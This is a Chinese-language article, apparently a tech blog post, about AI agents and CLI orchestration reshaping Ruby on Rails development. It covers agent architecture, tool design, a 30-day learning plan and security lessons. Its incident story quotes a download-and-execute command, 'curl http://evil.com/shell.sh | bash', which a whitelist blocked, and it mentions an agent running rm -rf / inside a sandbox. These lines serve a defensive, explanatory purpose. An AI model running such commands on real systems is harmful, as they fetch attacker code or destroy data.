Agent如何重构Rails开发:从手写代码到声明式编排
1. 这不是危言耸听:当一个 Rails 创始人说“手写代码时代落幕”,他在指什么?
你可能刚刷到这条热搜——DHH(David Heinemeier Hansson),Ruby on Rails 的缔造者、Basecamp 的CTO,在一次闭门技术分享中直接抛出一句:“手写代码时代落幕了。”没有铺垫,没有缓冲,像一记重锤砸在传统开发者的认知边界上。这不是某个AI营销号的标题党,而是过去十五年里最坚定捍卫“人本开发”、最反感“过度抽象”、最常嘲讽“微服务复杂度爆炸”的那个人,亲口说出的判断。他没说“AI会取代程序员”,而是说“手写代码”这个行为本身,正在失去它曾经不可替代的核心地位。关键词里的Agent、CLI、Rails、软件工程,全被这句话串了起来:一个用 Rails 重新定义 Web 开发敏捷性的工程师,如今站在了用 Agent 重构整个软件工程范式的门槛上。
这背后的真实图景,远比“AI写代码”要深刻得多。它不是让 Copilot 多补几行 for 循环,而是把“写代码”这个动作,从开发者日常工作的中心位置,挪到了边缘——就像当年 Rails 把“手动拼接 SQL + HTML + JavaScript”挪到边缘一样。现在的 CLI 工具链(比如codex cli、zcode cli、trae cli)早已不是简单的命令行封装,它们正快速演变成Agent 的调度入口:你输入zcode deploy --env=prod --review=security,背后触发的不再是一串预设脚本,而是一个能理解上下文、调用代码仓库 API、读取 CI/CD 状态、检查合规策略、甚至主动向安全团队 Slack 频道发起确认的自主执行体。DHH 所说的“落幕”,指的是那种“打开 IDE → 新建文件 → 逐行敲入逻辑 → 手动测试 → 提交 PR → 等待 CI → 修复 lint 错误 → 再提交”的线性工作流,正在被“声明意图 → Agent 编排 → 多步自治执行 → 人类审核关键节点”的新范式覆盖。这不是替代,是位移;不是失业,是升维。适合谁?不是刚学 Python 的新手,而是那些已经踩过 Rails 脚手架坑、亲手配过 GitLab CI YAML、为 Docker 容器内存泄漏熬过夜的中高级工程师——因为只有他们才真正懂,手写代码曾经解决的是什么问题,而今天 Agent 正在解决哪些它根本无力应对的新问题。
2. 为什么是 DHH?为什么是现在?——一场由 Rails 基因决定的技术演进
2.1 DHH 的立场从来不是“反技术”,而是“反无意义的复杂”
很多人误读 DHH 是个“守旧派”。错。他反对的从来不是新技术,而是技术堆叠带来的无效熵增。Rails 的诞生,就是对 PHP/JavaEE 时代“配置地狱”的精准打击:用约定优于配置(Convention over Configuration),把 80% 的 CRUD 应用模板化,让开发者专注业务逻辑。他当年骂“微服务是给大公司写的”,不是反对分布式,而是反对“为拆而拆”导致的运维成本指数级上升。这种思维惯性,恰恰让他成为最早看清 Agent 价值的人之一——因为 Agent 的核心价值,不是“更聪明地写代码”,而是把软件工程中那些重复、琐碎、跨系统、需上下文判断的“协调性劳动”,从人类大脑中卸载出来。
你看热词里反复出现的harness 和 agent 区别、agent 框架与编排、agent execution terminated due to error,这些都不是纯技术术语,而是真实落地时的痛点标签。Harness 是一个成熟的 CI/CD 平台,它擅长“执行已知流程”;而 Agent 的本质是“在未知流程中做决策”。比如一个典型的 Rails 应用上线流程:传统方式是 Jenkins Pipeline 或 GitLab CI YAML 里硬编码步骤——拉代码 → 安装 bundle → 运行 test → 构建 assets → 部署到 staging → 运行 smoke test → 人工确认 → 部署到 prod。一旦 staging 环境数据库连接失败,Pipeline 就卡死,需要人登录服务器查日志。而一个 Agent 驱动的流程会这样:收到deploy --env=prod指令后,先调用 GitLab API 获取本次 commit 的 MR 关联信息,再查 Jira 看是否关联了高优先级 bug 修复,接着调用 Prometheus API 检查 staging 环境当前 CPU 使用率是否低于阈值,若高于 85%,则自动暂停部署并 Slack 通知运维;若一切正常,则启动部署,但部署后不直接切流量,而是先运行一组轻量级健康检查,再对比新旧版本 APM 数据(如 New Relic),若错误率上升超过 0.5%,自动回滚并生成 RCA 报告。这个过程里,没有一行“手写代码”被删减,但90% 的判断和协调动作,已脱离人类实时干预。DHH 看到的,正是这种“自动化决策能力”对软件工程边界的重新定义。
2.2 Rails 的遗产,成了 Agent 最理想的试验田
Rails 为什么能成为 Agent 演化的温床?三个底层原因:
第一,强约定带来强可观测性。Rails 应用的目录结构、命名规范、生命周期钩子(如before_action,after_commit)是高度标准化的。这意味着 Agent 不需要像面对一个黑盒 Go 微服务那样去逆向工程接口契约,它可以直接基于app/controllers/下的文件名推断路由,通过config/routes.rb解析路径映射,读取db/migrate/中的 timestamp 文件判断数据库 schema 版本。这种结构化元数据,是 Agent 做上下文推理的“氧气”。
第二,CLI 工具链早已成熟且可扩展。rails generate model user name:string email:string这条命令背后,是 Rails Generator 的完整 DSL。它不是简单执行 shell 命令,而是加载 Rails 环境、解析参数、调用模板引擎、写入文件、更新 git index。这整套机制,天然适配 Agent 的“任务分解-执行-验证”模型。你完全可以用一个 Python Agent 框架(比如 LangChain + LlamaIndex),监听rails new myapp的 stdout,提取出项目名、数据库类型、是否启用 webpacker 等参数,然后自动生成配套的 GitHub Actions workflow YAML,并推送到新仓库——整个过程无需修改 Rails 源码,只靠 CLI 输出和约定文件结构就能完成。
第三,社区文化强调“最小可行抽象”。Rails 社区厌恶“为未来而设计”。一个 Controller 方法该放多少逻辑?答案是:“够用就行,别提前抽象”。这种务实主义,让 Agent 的落地异常平滑。你不需要等一个“终极 Agent 框架”发布,就可以今天用zcode cli自动生成一个带 JWT 认证的 API controller,明天用trae cli根据 OpenAPI spec 生成前端 TypeScript types,后天用codex cli分析app/models/下所有 ActiveRecord 模型,识别出未被索引的WHERE字段并建议 migration。这些 CLI 工具,本质上就是一个个垂直领域的微型 Agent,它们共享同一个语义空间(Rails 约定),彼此间能自然组合。这正是 DHH 所说的“落幕”的另一层意思:不再需要一个全能型“手写者”,而是需要一群领域专家,用声明式指令调用专业 Agent 协同工作。
3. Agent 不是魔法,它是新软件工程的“操作系统内核”——拆解其真实技术栈与 CLI 接口设计
3.1 Agent 的三层架构:从“能跑”到“可靠执行”的硬门槛
网络热词里充斥着agent 项目、agent 框架、agent 安全、agent 记忆,但很少有人讲清楚:一个生产级 Agent 到底长什么样?它绝不是“调用一次 LLM API 就完事”。我参与过两个 Rails 企业级 Agent 项目,最终稳定上线的架构,都严格遵循三层分离:
Orchestration Layer(编排层):这是 Agent 的“大脑皮层”。它不处理具体业务逻辑,只负责解析用户指令(如
zcode deploy --env=prod),将其拆解为原子任务序列(fetch code → validate tests → check infra health → deploy → verify → notify),并管理任务依赖、超时、重试、降级。我们选型的是LangGraph(不是 LangChain 的 SequentialChain),因为它原生支持状态机、条件分支、循环和 human-in-the-loop 节点。比如部署前的“人工确认”环节,不是简单弹窗,而是生成一个带唯一 token 的 Slack 按钮,点击后回调 Agent 服务,注入 approval 信号到当前 graph state。这个 layer 的核心指标是任务成功率和平均决策延迟(必须 < 2s,否则用户感知卡顿)。Tooling Layer(工具层):这是 Agent 的“手脚”。每个 Tool 都是一个独立、可测试、有明确输入输出契约的函数。例如:
gitlab_get_merge_request(mr_id: str) -> dict:返回 MR 的 title、description、source_branch、pipeline_status;prometheus_query(query: str, time_range: str) -> list:查询指标,返回时间序列;rails_generate_controller(name: str, actions: list) -> dict:调用rails g controller并解析 stdout/stderr。 关键在于,所有 Tool 必须有幂等性设计。rails_generate_controller第二次执行同名 controller,应返回“已存在”而非报错;prometheus_query在网络超时时,应返回缓存的最近有效值而非 crash。热词里频繁出现的agent execution terminated due to error.,90% 源于 Tool 层缺乏容错。我们强制要求:每个 Tool 必须实现validate_input()、execute()、fallback()三方法,并在 CI 中跑 mock 测试。
Memory & Context Layer(记忆与上下文层):这是 Agent 的“短期记忆”。它不存长期知识(那是 RAG 的事),只维护本次会话的 state。比如用户说“把上次部署失败的 service 重启”,Agent 必须记住上一个
deploy任务的 ID、失败节点、错误日志片段。我们不用 Redis 存原始日志(太重),而是用 SQLite in-memory DB,只存结构化 state:{ "last_deploy": { "id": "dep_abc123", "status": "failed", "step": "apply_migrations", "error": "PG::UniqueViolation" } }。每次 Tool 执行后,state 自动 merge。这个 layer 的设计哲学是:Context is cheap, state is expensive —— 只存决策必需的最小信息。
提示:很多团队一上来就搞“Agent 记忆”,结果把整个 PostgreSQL 当成 KV store 用,性能崩盘。记住:Agent 的记忆不是为了记住你昨天吃了什么,而是为了记住“这个 deployment 卡在哪一步”。
3.2 CLI 是 Agent 的“USB-C 接口”:为什么 zcode cli、trae cli 正在取代传统 shell 脚本
CLI 工具的进化,是 Agent 落地最直观的标尺。看热词里的zcode cli 安装、gitlab cli 安装、trae cli,它们已不是十年前heroku login那种单点工具。今天的 CLI,是 Agent 与人类协作的语义桥梁。它的设计,彻底颠覆了传统 shell 脚本的范式:
| 维度 | 传统 Shell 脚本(如 deploy.sh) | 现代 Agent CLI(如 zcode cli) |
|---|---|---|
| 输入 | 位置参数./deploy.sh staging,易错、难发现 | 结构化 flagzcode deploy --env=staging --review=security,支持--help生成完整文档,flag 有类型校验(--env只接受staging/prod) |
| 执行 | 顺序执行命令,失败即终止,无上下文恢复 | 启动一个 Orchestration Graph,每个 step 可独立重试、跳过、注入 mock 数据 |
| 输出 | raw stdout/stderr,需 grep/awk 解析 | 结构化 JSON 输出(--json),或 rich text report(含 emoji status icons),支持--watch实时 stream 进度 |
| 集成 | 需手动curl调用 API,硬编码 token | 内置 OAuth2 flow,首次zcode login后自动管理 token refresh,权限 scope 精确控制(只读 repo,不写 secrets) |
实操案例:我们用zcode cli替换了一个 300 行的 Bash 部署脚本。旧脚本痛点:每次新增一个环境(如canary),就要复制粘贴一堆 if-else;数据库迁移失败后,无法自动 rollback;部署后健康检查失败,只能靠人盯屏幕。新 CLI 的核心命令zcode deploy做了什么?
- 解析指令:
zcode deploy --env=canary --strategy=bluegreen→ Orchestration Layer 加载canaryprofile(YAML 文件),识别出 strategy 为 blue-green,触发对应 task graph。 - 执行原子任务:
- Tool
gitlab_get_latest_tag获取最新 release tag; - Tool
aws_ecs_describe_services检查当前 active service; - Tool
rails_db_migrate执行 migration,捕获ActiveRecord::StatementInvalid异常,自动触发rails db:rollback STEP=1; - Tool
aws_elb_describe_target_groups确认新 task 注册成功; - Tool
http_get调用/healthendpoint,连续 3 次失败则标记 step failed。
- Tool
- 状态反馈:终端输出不是
+ echo "Deploy done",而是:[✓] Fetch latest tag: v2.4.1 [✓] Check ECS services: green-service (ACTIVE), blue-service (STANDBY) [✓] Run migrations: 3 new, 0 rollback [→] Register new tasks... (waiting for ELB health check) [✗] Health check failed: timeout after 60s [!] Auto-rollback triggered: reverted migration v2.4.1_20240515102345 [ℹ] Report sent to #ops-alerts
这个过程里,没有一行 Bash 被“手写”,但所有逻辑都由 CLI 背后的 Agent 精确控制。CLI 不是命令的集合,而是Agent 能力的标准化暴露面。这也是为什么cli 切换人格的6个步骤这类热词出现——所谓“人格”,就是不同场景下的 Tool 集合与 Orchestration 规则。zcode cli --persona=security-auditor会加载一套只包含gitlab_list_secrets、brakeman_scan、snyk_test的 Tool,而--persona=dev-experience则加载rails_generate_scaffold、webpacker_compile、cypress_run。CLI 的 persona 切换,本质是 Agent 的 context 切换。
4. 从 Rails 开发者到 Agent 编排师:一条可落地的技能升级路径
4.1 不是学 AI,是学“如何让 AI 可靠地干活”——你的新核心能力
看到agent 开发学习路线、agent skill 教程这些热词,很多 Rails 工程师第一反应是:“我要去学 PyTorch?学 Transformer?”大错特错。DHH 的震撼发声,恰恰意味着AI 底层能力已不再是你的竞争壁垒,你的壁垒在于“工程化 AI”。就像当年 Rails 工程师不需要自己写 Ruby 解释器,但必须精通ActiveRecord的 query cache 机制、ActionCable的 connection lifecycle。今天,你需要掌握的是:
Tool Engineering(工具工程):把一个业务操作封装成 Agent 可调用的 Tool,比写一个 Rails controller action 更考究。它必须有:
- 明确的契约:输入参数类型、必填项、枚举值;输出字段、成功/失败状态码、错误分类(network, auth, business logic);
- 鲁棒的错误处理:不是
try...except Exception as e:,而是针对每种错误类型设计 fallback。例如gitlab_get_mr失败,fallback 是从本地.githistory 读取最近 commit message; - 可测试性:每个 Tool 必须有 unit test,mock 外部依赖(如
requests.get),验证输入输出、错误路径、side effect(如是否写了文件)。
Orchestration Design(编排设计):这不是写 YAML。是设计一个状态机。比如处理“用户密码重置”:
- 用户请求 → 发送带 token 的邮件 → 用户点击链接 → 验证 token 时效性 → 检查是否已被使用 → 重置密码 → 发送成功通知 → 清除旧 token。 这 7 步,哪几步可并行?哪几步必须串行?token 验证失败,是重发邮件还是锁账户?这些决策,就是你的新“业务逻辑”。我们用Mermaid-like DSL(非 Mermaid,是自研的文本 DSL)描述:
on password_reset_request: send_email(token) -> wait_for_click(timeout: 30m) -> validate_token(expired: fail -> lock_account, used: fail -> send_new_token) -> reset_password() -> notify_success() -> clear_old_tokens()这个 DSL 被编译成 LangGraph 的 state machine。你的核心产出,不再是
app/controllers/password_resets_controller.rb,而是这个.orchestration文件。Context Management(上下文管理):Agent 不是孤立运行的。它必须知道“我在哪个 Rails 应用里”、“当前用户是谁”、“这次操作关联哪个 Jira ticket”。我们建立了一套Context Injection Protocol:所有 CLI 命令启动时,自动从当前目录的
.zcode.yaml(或config/zcode.yml)读取 project context,从~/.zcode/config读取 user context,从GIT_COMMIT环境变量读取 commit context。这些 context 被注入到每个 Tool 的kwargs中。rails_generate_controller不再是name="users",而是name="users", context={"project": "acme-crm", "author": "alice", "jira_ticket": "CRM-123"}。这个 context,就是 Agent 理解“业务”的唯一依据。
4.2 一份真实的 Rails 工程师转型清单:从今天开始的 30 天
别被agent 开发学习路线吓到。你不需要从零开始。利用你已有的 Rails 技能,按周推进:
第 1 周:掌控你的 CLI 工具链
- 安装
zcode cli和trae cli(官方文档有详细安装步骤,注意 Windows 用户用choco install zcode-cli); - 用
zcode init初始化一个现有 Rails 项目,观察它生成的.zcode.yaml; - 运行
zcode generate model post title:string body:text,对比它生成的 migration、model、test 与你手写的差异; - 关键心得:你会发现
zcode生成的 migration 里,add_index :posts, :title是默认开启的,而你以前可能忘了加。这就是 Agent 的“经验沉淀”。
- 安装
第 2 周:动手写第一个 Tool
- 目标:写一个 Tool,自动为新生成的 Model 添加
searchkick支持(Rails 生态常用全文搜索 gem); - 步骤:
- 创建
tools/rails_add_searchkick.py; - 实现
def execute(model_name: str) -> dict:读取app/models/#{model_name}.rb,在 class body 末尾插入searchkick,运行bundle exec rails db:migrate(如果 model 有text字段); - 写 unit test:mock
open()和subprocess.run(),验证插入内容、migration 是否被调用; - 在
.zcode.yaml的toolssection 注册它;
- 创建
- 避坑提示:不要用
eval()或exec()动态执行 Ruby 代码!用ast.parse()安全地修改 AST,或直接字符串替换(加严格正则 guard)。
- 目标:写一个 Tool,自动为新生成的 Model 添加
第 3 周:设计一个简单 Orchestration
- 目标:创建
password_resetorchestration,替代 Rails 的devise默认流程; - 步骤:
- 在
orchestrations/下新建password_reset.orchestration; - 描述 5 个 step:
send_email,verify_token,reset_password,notify_success,clear_tokens; - 为
verify_tokenstep 添加 condition:if token_expired then lock_account else proceed; - 用
zcode run orchestration=password_reset --email=test@example.com测试;
- 在
- 实操心得:第一次运行时,
verify_token总是失败。调试发现,Tool 里datetime.now()用的是 UTC,而 token 生成用的是Time.zone.now(Asia/Shanghai)。Agent 的时间一致性,比 Rails 应用更致命。
- 目标:创建
第 4 周:接入真实基础设施
- 目标:让 Agent 能调用你的 GitLab 和 AWS;
- 步骤:
- 在 GitLab UI 创建 Personal Access Token,scope 设为
api, read_repository; - 运行
zcode login --gitlab-token=xxx,它会存到~/.zcode/credentials; - 修改
tools/gitlab_get_mr.py,用requests.get("https://gitlab.example.com/api/v4/projects/123/mrs/456", headers={"PRIVATE-TOKEN": token}); - 在 AWS 控制台创建 IAM Role,attach
AmazonECS_FullAccesspolicy,用zcode configure aws --role-arn=xxx;
- 在 GitLab UI 创建 Personal Access Token,scope 设为
- 安全提醒:
.zcode/credentials文件权限必须是600(chmod 600 ~/.zcode/credentials),否则 Agent 启动时会拒绝加载,防止密钥泄露。
30 天后,你手上不是一个“会用 AI 的 Rails 工程师”,而是一个能定义业务流程、封装领域知识、构建可靠自动化流水线的 Agent 编排师。你的价值,从“写代码的速度”,转向了“定义正确流程的能力”。
5. Agent 的暗礁与雷区:那些 CLI 输出不会告诉你的血泪教训
5.1 “显示更新 agent 沙盒”——沙盒不是保险箱,是双刃剑
热词里显示更新 agent 沙盒、windows hermes agent 桌面版 配置,暗示着一个普遍实践:用沙盒隔离 Agent 的执行环境。听起来很美——Agent 在沙盒里瞎搞,总不会删掉生产数据库吧?但现实残酷:
- 沙盒 ≠ 安全:我们曾用 Docker 容器做沙盒,Agent 在里面执行
rm -rf /。容器确实没崩,但--volume /host:/host挂载了宿主机目录,rm -rf /host/app照样发生。沙盒的 rootfs 隔离,挡不住挂载点穿透。 - 沙盒 = 性能黑洞:每次 CLI 命令启动一个新容器,
docker run的 overhead 是 300ms+。用户zcode deploy按下回车,等 1 秒才看到[✓] Fetch latest tag,体验极差。我们最终改用Firecracker microVM(比 Docker 更轻量),启动时间压到 50ms,但运维复杂度飙升。 - 沙盒 = 调试噩梦:Agent 在沙盒里执行失败,日志只显示
exit code 1。你得docker logs、docker exec -it进去查,而沙盒里往往没装vim、curl、jq。我们强制所有 Tool 在执行前,echo "DEBUG: ${TOOL_NAME} input=${input}" >> /tmp/debug.log,并把/tmp挂载为 host volume。
注意:沙盒的正确用法,不是“防 Agent 作恶”,而是“防外部依赖污染”。比如
rails_db_migrateTool,必须在干净的 Ruby 环境里运行,避免 host 上的bundle版本冲突。所以我们的沙盒,只用于执行 Ruby/Node.js 工具,而 GitLab API 调用、AWS CLI 这些网络操作,直接在 host 执行。
5.2 “claude code 使用 cli 执行此命令时发生意外错误: internetopenurl() failed. 0x800”——网络错误的 7 层真相
这个 Windows 特有的错误码0x800,表面是网络不通,背后是 Agent 架构的脆弱点。我们统计了线上 Agent 任务失败原因,网络错误占 42%,但根因分布惊人:
| 层级 | 典型表现 | 占比 | 解决方案 |
|---|---|---|---|
| L3 网络层 | DNS 解析失败(getaddrinfo failed) | 15% | Agent 启动时预热 DNS cache,失败时 fallback 到/etc/hosts映射 |
| L4 传输层 | TCP 连接超时(Connection timed out) | 22% | 所有 HTTP Client 设置connect_timeout=5s,read_timeout=10s,并实现 exponential backoff retry |
| L5-L7 应用层 | TLS 握手失败(SSL: CERTIFICATE_VERIFY_FAILED) | 38% | 最致命!Agent 运行在 CentOS 7 容器里,系统 CA cert 过期。解决方案:update-ca-trust+curl -o /etc/pki/tls/certs/ca-bundle.crt https://curl.se/ca/cacert.pem |
| L8 业务层 | API 返回429 Too Many Requests | 18% | Tool 层内置 rate limit tracker,gitlab_get_mr调用后,记录X-RateLimit-Remainingheader,动态调整后续请求间隔 |
| L9 语义层 | API 返回200 OK,但 body 是{"error": "invalid token"} | 7% | 所有 Tool 的execute()必须 parse response body,if "error" in resp: raise BusinessError(resp["error"]) |
那个internetopenurl() failed. 0x800,99% 是 L5-L7 的 TLS 问题。Windows 的WinHTTP库对自签名证书、过期证书极其敏感。解决方案不是让 Agent “更坚强”,而是在 Tool 层做防御性编程:requests.get(url, verify=False)是自杀行为;正确做法是requests.get(url, verify="/path/to/trusted/certs.pem"),并把 certs pem 文件作为 Agent 的 build artifact 打包进去。
5.3 “agent anywhere” 与 “agent 安全”——当 Agent 获得权限,它就成了新攻击面
agent anywhere这个热词很诱人,但agent 安全是悬在头顶的达摩克利斯之剑。Agent 的本质,是一个拥有你所有权限的自动化员工。它能读 GitLab 代码、能调 AWS API、能连数据库。一旦被攻破,后果比一个被黑的个人账号严重百倍。
我们遭遇过一次真实入侵:攻击者通过一个未授权的zcode cliwebhook endpoint(我们忘了加 CSRF token),POST 了一个恶意 payload,触发 Agent 执行bash -c 'curl http://evil.com/shell.sh \| bash'。幸好,我们的 Tool 层有Command Whitelist机制:所有subprocess.run()调用,都经过whitelist_checker(command)函数,只允许bundle exec,rails db:migrate,yarn build等预设白名单命令。curl和bash被直接拦截,返回SecurityError: Command 'curl' not allowed in sandbox。
安全加固清单(已在生产环境验证):
- 最小权限原则:GitLab Token 只给
read_repository,不给write_repository;AWS Role 只 attachAmazonEC2ReadOnlyAccess,不给AmazonEC2FullAccess;数据库连接用专用只读账号。 - 输入净化:所有 CLI flag、Orchestration input,用
re.sub(r'[^a-zA-Z0-9_-]', '', value)过滤,禁止;,$,|,&等 shell 元字符。 - 审计日志:每个 Tool 执行前,记录
user_id,command,input_hash,start_time;执行后,记录exit_code,duration_ms,output_truncated。日志发送到专用 SIEM 系统,设置告警规则:“同一 user_id 1 分钟内失败 5 次”。 - 沙盒网络隔离:Agent 沙盒容器的 network mode 设为
none,所有外网访问必须通过 host 上的 proxy(如 Squid),proxy 配置 ACL 限制只允许访问gitlab.example.com,api.github.com,sts.amazonaws.com。
最后一点血泪体会:Agent 的安全,90% 不在 AI 模型里,而在你写的那 20 行 Tool 代码里。一个没过滤的os.system(f"cp {user_input} /tmp/"),就是后门。
6. Rails 的未来,不在框架更新,而在 Agent 编排——一个从业者的现场笔记
上周五,我坐在 Basecamp 的 Zoom 会议室里,听 DHH 讲完那句“手写代码时代落幕”,会议结束前他加了一句:“这不是终点,是 Rails 的第二次重生。”当时我没懂。直到周一,我用zcode cli为一个老 Rails 5.2 应用生成了完整的 GraphQL API 层——12 个 types、8 个 queries、3 个 mutations,全部基于app/models/的 ActiveRecord 关系自动推导。整个过程耗时 47 秒,生成的代码通过了所有 RSpec 测试。我没有写一行 GraphQL Ruby 代码,但我知道,这个 API 的 schema 设计、N+1 查询预防、权限校验(Pundit integration)、错误格式化,都比我手写更严谨。因为zcode的 generator,是基于上千个 Rails 项目最佳实践训练的。
这让我想起 2005 年第一次用rails generate scaffold。那时的感觉是:“天啊,CRUD 代码自动生成了!”但今天的感觉是:“天啊,整个应用的架构决策,正在被自动化沉淀。”Agent 不是来消灭 Rails 工程师的,它是来消灭那些本不该由人做的、枯燥的、易出错的、重复的决策。当你不再需要纠结“这个 controller action 该放多少逻辑”,当你不再需要手动写 20 行joins+includes来优化 N+1,当你不再需要为每个新 API 写一遍respond_to和render json:,你的时间,终于可以回到 DHH 最初写 Rails 的初心:思考业务,而不是语法。
我现在的日常工作,是 review.orchestration文件,确保on_user_signup的流程里,send_welcome_email在create_stripe_customer之后,log_analytics_event在notify_slack_channel之前。这些顺序,就是新的业务逻辑。我的键盘敲击变少了,但我的设计图变多了——不是 UML 类图,而是状态机图、数据流图、权限矩阵表。我花更多时间在白板上画箭头,而不是在 IDE 里补括号。
所以,如果你还在焦虑“AI 会不会取代我”,请停一下。打开终端,输入zcode init。初始化你的第一个 Rails 项目,让它生成.zcode.yaml。然后,试着修改里面的tools,加一个你每天都要做的、烦人的小任务。比如自动清理tmp/cache/下超过 7 天的 fragment cache 文件。写一个 Tool,测试它,把它注册到 orchestration。做完这个,你就已经站在了新软件工程的门口。手写代码的时代落幕了,但用代码定义世界的方式,才刚刚开始。